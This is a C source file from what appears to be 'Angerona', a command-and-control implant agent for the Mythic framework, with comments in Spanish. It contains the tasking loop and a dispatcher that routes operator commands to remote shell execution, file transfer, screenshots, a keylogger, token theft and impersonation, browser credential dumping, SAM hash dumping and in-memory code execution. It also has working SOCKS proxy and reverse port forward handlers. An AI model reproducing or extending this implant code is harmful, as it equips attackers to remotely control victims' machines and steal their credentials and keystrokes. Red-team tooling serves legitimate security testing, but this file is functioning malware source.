#include "angerona.h"
#include "comandos.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"
#include "paquete.h"

/* Forward: handlers for the new commands */
#ifdef ENABLE_SOCKS_CMD
static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea);
#endif
#ifdef ENABLE_RPFWD_CMD
static void startRpfwdHandler(PAnalizador analizadorTarea);
static void stopRpfwdHandler(PAnalizador analizadorTarea);
#endif

BOOL handleGetTasking(PAnalizador obtenerTarea) {
    _inf("========== handleGetTasking INICIO ==========");
    _inf("Buffer disponible: %zu bytes", obtenerTarea->tamano);
    
    if (obtenerTarea->tamano < 4) {
        _err("ERROR: Buffer demasiado pequeño para leer número de tareas (size=%zu, need=4)", obtenerTarea->tamano);
        return FALSE;
    }
    
    // Leer número de tareas (4 bytes)
    UINT32 numeroTareas = getInt32(obtenerTarea);
    _inf("Número de tareas leído: %u, buffer restante después de leer numeroTareas: %zu bytes", numeroTareas, obtenerTarea->tamano);
    
    if (numeroTareas == 0) {
        _inf("No hay tareas pendientes");
        return TRUE;
    }
    
    if (obtenerTarea->tamano == 0 && numeroTareas > 0) {
        _err("ERROR CRÍTICO: numeroTareas=%u pero buffer está vacío (0 bytes). Formato incorrecto!", numeroTareas);
        return FALSE;
    }

    for (UINT32 i = 0; i < numeroTareas; i++) {
        _inf("========== PROCESANDO TAREA %u/%u ==========", i+1, numeroTareas);
        _inf("Tarea %u: Buffer restante antes de leer tamaño: %zu bytes", i+1, obtenerTarea->tamano);
        
        if (obtenerTarea->tamano < 4) {
            _err("Tarea %u: Buffer insuficiente para leer tamaño (restante=%zu, need=4)", i+1, obtenerTarea->tamano);
            break;
        }
        
        // Formato: [task_size (4)][command_code (1)][task_id + parameters...]
        // task_size incluye el command_code + task_id + parameters
        SIZE_T tamanoTarea = getInt32(obtenerTarea);
        _inf("Tarea %u: Tamaño total leído: %zu bytes, buffer restante: %zu bytes", i+1, tamanoTarea, obtenerTarea->tamano);
        
        if (tamanoTarea == 0 || tamanoTarea > 1000000) {
            _err("Tarea %u: Tamaño inválido %zu (0x%zX), saltando tarea", i+1, tamanoTarea, tamanoTarea);
            _err("Tarea %u: Posible desincronización del buffer, bytes restantes=%zu", i+1, obtenerTarea->tamano);
            break; // No continue, sino break porque si el tamaño está mal, todas las siguientes también lo estarán
        }
        
        if (obtenerTarea->tamano < 1) {
            _err("Tarea %u: Buffer insuficiente para leer command_code (restante=%zu, need=1)", i+1, obtenerTarea->tamano);
            break;
        }
        
        // Leer el command_code (1 byte)
        BYTE tarea = getByte(obtenerTarea);
        _inf("Tarea %u: Comando recibido: 0x%02X, buffer restante: %zu bytes", i+1, tarea, obtenerTarea->tamano);
        
        // El tamaño restante es tamanoTarea - 1 (ya leímos el command_code)
        tamanoTarea = tamanoTarea - 1;
        _inf("Tarea %u: Tamaño restante después de command_code: %zu bytes", i+1, tamanoTarea);
        // Debug: log specific command types
        if (tarea == START_RPFWD_CMD) {
            _inf(">>> START_RPFWD_CMD (0x%02X) detectado <<<", tarea);
        } else if (tarea == STOP_RPFWD_CMD) {
            _inf(">>> STOP_RPFWD_CMD (0x%02X) detectado <<<", tarea);
        } else if (tarea == KEYLOG_START_CMD) {
            _inf(">>> KEYLOG_START_CMD (0x%02X) detectado <<<", tarea);
        } else if (tarea == KEYLOG_STOP_CMD) {
            _inf(">>> KEYLOG_STOP_CMD (0x%02X) detectado <<<", tarea);
        }

        // Leer el buffer de la tarea (task_id + parameters)
        if (obtenerTarea->tamano < tamanoTarea) {
            _err("Tarea %u: Buffer insuficiente para leer tarea completa (restante=%zu, need=%zu)", 
                 i+1, obtenerTarea->tamano, tamanoTarea);
            break;
        }
        
        PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
        if (!bufferTarea) {
            _err("Tarea %u: ERROR: getBytes retornó NULL (tamaño esperado=%zu, buffer restante=%zu)", 
                 i+1, tamanoTarea, obtenerTarea->tamano);
            break;
        }
        _inf("Tarea %u: Buffer obtenido, tamaño=%zu bytes, buffer restante después: %zu bytes", 
             i+1, tamanoTarea, obtenerTarea->tamano);
        
        PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
        if (!analizadorTarea) {
            _err("ERROR: nuevoAnalizador retornó NULL para tarea %u", i+1);
            LocalFree(bufferTarea);
            continue;
        }
        _inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);

#ifdef ENABLE_SHELL_CMD
        if (tarea == SHELL_CMD){
            _inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
            ejecutarConsola(analizadorTarea);
        } else if (tarea == EXIT_CMD) {
#else
        if (tarea == EXIT_CMD) {
#endif
            cerrarCallback(analizadorTarea);
        } else if (tarea == SLEEP_CMD){
            sleep(analizadorTarea);
        }
#ifdef ENABLE_PS_CMD
        else if (tarea == PROCESS_CMD){
            listarProcesos(analizadorTarea);
        }
#endif
#ifdef ENABLE_CD_CMD
        else if (tarea == CD_CMD) {
            CambiarDirectorio(analizadorTarea);
        }
#endif
#ifdef ENABLE_LS_CMD
        else if (tarea == LS_CMD) {
            ListarDirectorio(analizadorTarea);
        }
#endif
#ifdef ENABLE_PWD_CMD
        else if (tarea == PWD_CMD) {
            ObtenerPath(analizadorTarea);
        }
#endif
#ifdef ENABLE_CP_CMD
        else if (tarea == CP_CMD) {
            CopiarFichero(analizadorTarea);
        }
#endif
#ifdef ENABLE_MKDIR_CMD
        else if (tarea == MKDIR_CMD) {
            CrearRuta(analizadorTarea);
        }
#endif
#ifdef ENABLE_RM_CMD
        else if (tarea == RM_CMD) {
            EliminarRuta(analizadorTarea);
        }
#endif
#ifdef ENABLE_CAT_CMD
        else if (tarea == CAT_CMD) {
            LeerFichero(analizadorTarea);
        }
#endif
#ifdef ENABLE_DOWNLOAD_CMD
        else if (tarea == DOWNLOAD_CMD) {
            DescargarFichero(analizadorTarea);
        }
#endif
#ifdef ENABLE_UPLOAD_CMD
        else if (tarea == UPLOAD_CMD) {
            SubirFichero(analizadorTarea);
        }
#endif
#ifdef ENABLE_SCREENSHOT_CMD
        else if (tarea == SCREENSHOT_CMD) {
            CapturarPantalla(analizadorTarea);
        }
#endif
#ifdef ENABLE_SOCKS_CMD
        else if (tarea == START_SOCKS_CMD) {
            _dbg("Received START_SOCKS_CMD");
            startSocksHandler(analizadorTarea);
        } else if (tarea == STOP_SOCKS_CMD) {
            _dbg("Received STOP_SOCKS_CMD");
            stopSocksHandler(analizadorTarea);
        }
#endif
#ifdef ENABLE_RPFWD_CMD
        else if (tarea == START_RPFWD_CMD) {
            _inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
            _inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
            startRpfwdHandler(analizadorTarea);
            _inf("Tarea %u: startRpfwdHandler() retornó", i+1);
        } else if (tarea == STOP_RPFWD_CMD) {
            _dbg("Received STOP_RPFWD_CMD");
            stopRpfwdHandler(analizadorTarea);
        }
#endif
#ifdef ENABLE_KEYLOG_START_CMD
        else if (tarea == KEYLOG_START_CMD) {
            _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
            StartKeylogger(analizadorTarea);
            _inf("===== KEYLOG_START_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_KEYLOG_STOP_CMD
        else if (tarea == KEYLOG_STOP_CMD) {
            _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
            StopKeylogger(analizadorTarea);
            _inf("===== KEYLOG_STOP_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_LIST_TOKENS_CMD
        else if (tarea == LIST_TOKENS_CMD) {
            _inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
            ListarTokens(analizadorTarea);
            _inf("===== LIST_TOKENS_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_STEAL_TOKEN_CMD
        else if (tarea == STEAL_TOKEN_CMD) {
            _inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
            RobarToken(analizadorTarea);
            _inf("===== STEAL_TOKEN_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_MAKE_TOKEN_CMD
        else if (tarea == MAKE_TOKEN_CMD) {
            _inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
            CrearToken(analizadorTarea);
            _inf("===== MAKE_TOKEN_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_REV2SELF_CMD
        else if (tarea == REV2SELF_CMD) {
            _inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
            RevertirToken(analizadorTarea);
            _inf("===== REV2SELF_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_WHOAMI_CMD
        else if (tarea == WHOAMI_CMD) {
            _inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
            ObtenerUsuarioActual(analizadorTarea);
            _inf("===== WHOAMI_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_KILL_CMD
        else if (tarea == KILL_CMD) {
            _inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
            MatarProceso(analizadorTarea);
            _inf("===== KILL_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_BROWSER_INFO_CMD
        else if (tarea == BROWSER_INFO_CMD) {
            _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
            IdentificarNavegadores(analizadorTarea);
            _inf("===== BROWSER_INFO_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_BROWSER_DUMP_CMD
        else if (tarea == BROWSER_DUMP_CMD) {
            _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
            DumparNavegador(analizadorTarea);
            _inf("===== BROWSER_DUMP_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_SAMDUMP_CMD
        else if (tarea == SAMDUMP_CMD) {
            _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
            SamDumpHandler(analizadorTarea);
            _inf("===== SAMDUMP_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_INLINE_EXECUTE_CMD
        else if (tarea == INLINE_EXECUTE_CMD) {
            _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
            InlineExecuteHandler(analizadorTarea);
            _inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
        }
#endif
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
        else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
            _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
            // This command is typically handled via subtasks in Python
            // But if called directly, we'll handle it here
            _wrn("inline_execute_assembly should be called via subtasks");
            if (analizadorTarea) liberarAnalizador(analizadorTarea);
        }
#endif
        else {
            _wrn("Tarea desconocida: 0x%02x", tarea);
            _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
            // liberar analizador si no será usado por otro handler
            if (analizadorTarea) liberarAnalizador(analizadorTarea);
            if (bufferTarea) LocalFree(bufferTarea);
        }
        
        _inf("Tarea %u: Procesamiento completado, buffer restante final: %zu bytes", i+1, obtenerTarea->tamano);
    }
    
    _inf("========== handleGetTasking FIN ==========");
    _inf("Buffer final restante: %zu bytes", obtenerTarea->tamano);

    return TRUE;
}

BOOL commandDispatch(PAnalizador respuesta) {
    _dbg("Respuesta tiene %zu bytes", respuesta->tamano);
    
    // Debug: imprimir primeros bytes
    if (respuesta->tamano > 0) {
        _dbg("Primeros 8 bytes: ");
        for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
            _dbg("  0x%02X ", respuesta->original[i]);
        }
    }
    
    // === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
    // Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
    // Necesitamos leer y verificar el UUID primero
    SIZE_T uuidLen = 36;
    PCHAR callback_uuid = getString(respuesta, &uuidLen);
    _dbg("UUID del callback: %.*s", (int)uuidLen, callback_uuid);
    
    // Verificar que el UUID sea correcto (opcional, para debug)
    if (uuidLen != 36) {
        _wrn("UUID length is not 36 bytes (%zu)", uuidLen);
    }
    
    BYTE tipoRespuesta = getByte(respuesta);
    _inf("Tipo de respuesta: 0x%02X, buffer restante después de leer tipo: %zu bytes", tipoRespuesta, respuesta->tamano);
    
    if (tipoRespuesta == GET_TASKING) {
        _inf("Llamando handleGetTasking() con buffer restante: %zu bytes", respuesta->tamano);
        return handleGetTasking(respuesta);
    }
    else if (tipoRespuesta == POST_RESPONSE) {
        _dbg("Respuesta POST_RESPONSE");
        return TRUE;
    }
    
    _wrn("Tipo desconocido");
    return TRUE;
}

BOOL parseChecking(PAnalizador respuestaAnalizador) {

    // === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
    // Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
    // Primero leemos el UUID que Mythic agrega
    SIZE_T tamanoUuid = 36;
    PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
    _dbg("UUID del callback recibido: %.*s", (int)tamanoUuid, callback_uuid);
    
    // Luego leemos el tipo de mensaje
    BYTE tipoMensaje = getByte(respuestaAnalizador);
    if (tipoMensaje != CHECKIN) {
        _err("Expected CHECKIN (0x%02X) but got 0x%02X", CHECKIN, tipoMensaje);
        liberarAnalizador(respuestaAnalizador);
        return FALSE;
    }

    // Leer el nuevo UUID del agente
    tamanoUuid = 36;
    PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
    setUUID(nuevoUuid);

    _dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
    
    // === Nota: Cifrado AESPSK ya inicializado en angeronaMain() ===
    // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime


    liberarAnalizador(respuestaAnalizador);

    return TRUE;
}

BOOL rutina() {

    _dbg("Enviando GET_TASKING...");
    
    PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
    addInt32(obtenerTarea, NUMBER_OF_TASKS);

    Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
    // sin respuesta
    if (!respuestaAnalizador) {
        _err("No se recibió respuesta");
        return FALSE;
    }
    
    _dbg("Respuesta recibida, dispatch...");
    
    commandDispatch(respuestaAnalizador);
    
    liberarPaquete(obtenerTarea);
    liberarAnalizador(respuestaAnalizador);

    // Sleep - YA NO se duerme aquí, se duerme en el bucle principal
    return TRUE;

}

#ifdef ENABLE_SOCKS_CMD
/* ============================
   START_SOCKS_CMD handler
   Expected params (in this order inside the task buffer):
     - 36 bytes: UUID del task
     - UINT32 LocalPort (optional). If absent or zero -> default 1080.
   Behavior:
     - call socks_manager_init()
     - call socks_manager_start_proxy(local_port)
     - send response back to Mythic
   ============================ */
static void startSocksHandler(PAnalizador analizadorTarea) {
    _dbg("startSocksHandler() enter");
    
    // Leer el UUID del task (primeros 36 bytes)
    SIZE_T uuidLen = 36;
    PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
    
    // SOCKS usa formato especial sin nbArg, lee puerto directamente
    // Formato: UUID (36) + puerto (4)
    UINT32 localPort = (UINT32)getInt32(analizadorTarea);
    _dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);

    if (localPort == 0) localPort = 1080;

    // initialize socks manager (idempotent)
    socks_manager_init();

    int rc = socks_manager_start_proxy((uint16_t)localPort);
    
    // Crear respuesta para Mythic
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);  // TRUE agrega UUID del agente automáticamente
    addString(respuesta, taskUuid, FALSE);  // Task UUID
    
    // Crear paquete temporal para el output
    PPaquete salida = nuevoPaquete(0, FALSE);
    if (rc == 0) {
        _dbg("socks_manager_start_proxy(%u) OK", localPort);
        PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
    } else {
        _err("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
        PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
    }
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Enviar respuesta
    Analizador* respuestaAnalizador = mandarPaquete(respuesta);
    liberarPaquete(salida);
    if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);

    if (analizadorTarea) liberarAnalizador(analizadorTarea);
}

/* ============================
   STOP_SOCKS_CMD handler
   Expected params:
     - 36 bytes: UUID del task
   Behavior:
     - call socks_manager_stop_proxy()
     - call socks_manager_cleanup()
     - send response back to Mythic
   ============================ */
static void stopSocksHandler(PAnalizador analizadorTarea) {
    _dbg("stopSocksHandler() enter");
    
    // Leer el UUID del task (primeros 36 bytes)
    SIZE_T uuidLen = 36;
    PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
    _dbg("stopSocksHandler: taskId=%.*s", 36, taskUuid);

    int rc = socks_manager_stop_proxy();
    _dbg("socks_manager_stop_proxy() rc=%d", rc);

    socks_manager_cleanup();
    _dbg("socks_manager_cleanup() done");
    
    // Crear respuesta para Mythic
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);  // TRUE agrega UUID del agente automáticamente
    addString(respuesta, taskUuid, FALSE);  // Task UUID
    
    // Crear paquete temporal para el output
    PPaquete salida = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy stopped\n");
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Enviar respuesta
    Analizador* respuestaAnalizador = mandarPaquete(respuesta);
    liberarPaquete(salida);
    if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);

    if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif

#ifdef ENABLE_RPFWD_CMD
/* ============================
   START_RPFWD_CMD handler
   Expected params (in this order inside the task buffer):
     - 36 bytes: UUID del task
     - UINT32 LocalPort (optional). If absent or zero -> default 8080.
   Behavior:
     - call rpfwd_manager_init()
     - call rpfwd_manager_start_listener(local_port)
     - send response back to Mythic
   ============================ */
static void startRpfwdHandler(PAnalizador analizadorTarea) {
    _dbg("startRpfwdHandler() enter");
    _inf("===== PROCESSING START_RPFWD_CMD (0x62) =====");
    
    // Leer el UUID del task (primeros 36 bytes)
    SIZE_T uuidLen = 36;
    PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
    if (!taskUuid || uuidLen != 36) {
        _err("startRpfwdHandler: Error leyendo UUID (len=%zu)", uuidLen);
        if (analizadorTarea) liberarAnalizador(analizadorTarea);
        return;
    }
    
    // Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4) + param2 (4)...
    UINT32 nbArg = getInt32(analizadorTarea);
    _dbg("startRpfwdHandler: nbArg=%u", nbArg);
    
    // Leer el puerto (primer parámetro)
    UINT32 localPort = 0;
    if (nbArg > 0) {
        localPort = (UINT32)getInt32(analizadorTarea);
        _dbg("startRpfwdHandler: leído puerto=%u", localPort);
    }
    
    _dbg("startRpfwdHandler: taskId=%.*s nbArg=%u port=%u", 36, taskUuid, nbArg, localPort);

    if (localPort == 0) localPort = 8080; // Default RPFWD port

    // initialize rpfwd manager (idempotent)
    rpfwd_manager_init();

    int rc = rpfwd_manager_start_listener((uint16_t)localPort);
    
    // Crear respuesta para Mythic
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);  // TRUE agrega UUID del agente automáticamente
    addString(respuesta, taskUuid, FALSE);  // Task UUID
    
    // Crear paquete temporal para el output
    PPaquete salida = nuevoPaquete(0, FALSE);
    if (rc == 0) {
        _inf("rpfwd_manager_start_listener(%u) OK", localPort);
        PackageAddFormatPrintf(salida, FALSE, "Reverse port forward started on port %u\n", localPort);
        PackageAddFormatPrintf(salida, FALSE, "Connections to %s:%u (agent) will be forwarded to remote host\n", 
                               "0.0.0.0", localPort);
        
        // Add Network Connection artifact
        char artifact_buf[256];
        snprintf(artifact_buf, sizeof(artifact_buf), "Reverse Port Forward listener started on port %u", localPort);
        addArtifact(respuesta, "Network Connection", artifact_buf);
    } else {
        _err("rpfwd_manager_start_listener(%u) rc=%d", localPort, rc);
        if (rc == 1) {
            PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u\n", localPort);
            PackageAddFormatPrintf(salida, FALSE, "Error: Port may be in use or requires administrator privileges (WSAError=10013)\n");
            PackageAddFormatPrintf(salida, FALSE, "Try using a non-privileged port (e.g., 8080, 4444, 5555)\n");
        } else {
            PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u (rc=%d)\n", localPort, rc);
        }
    }
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Enviar respuesta
    Analizador* respuestaAnalizador = mandarPaquete(respuesta);
    liberarPaquete(salida);
    if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);

    if (analizadorTarea) liberarAnalizador(analizadorTarea);
}

/* ============================
   STOP_RPFWD_CMD handler
   Expected params:
     - 36 bytes: UUID del task
   Behavior:
     - call rpfwd_manager_stop_listener()
     - send response back to Mythic
   ============================ */
static void stopRpfwdHandler(PAnalizador analizadorTarea) {
    _dbg("stopRpfwdHandler() enter");
    
    // Leer el UUID del task (primeros 36 bytes)
    SIZE_T uuidLen = 36;
    PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
    _dbg("stopRpfwdHandler: taskId=%.*s", 36, taskUuid);

    int rc = rpfwd_manager_stop_listener();
    _dbg("rpfwd_manager_stop_listener() rc=%d", rc);
    
    // Crear respuesta para Mythic
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);  // TRUE agrega UUID del agente automáticamente
    addString(respuesta, taskUuid, FALSE);  // Task UUID
    
    // Crear paquete temporal para el output
    PPaquete salida = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salida, FALSE, "Reverse port forward stopped\n");
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Enviar respuesta
    Analizador* respuestaAnalizador = mandarPaquete(respuesta);
    liberarPaquete(salida);
    if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);

    if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif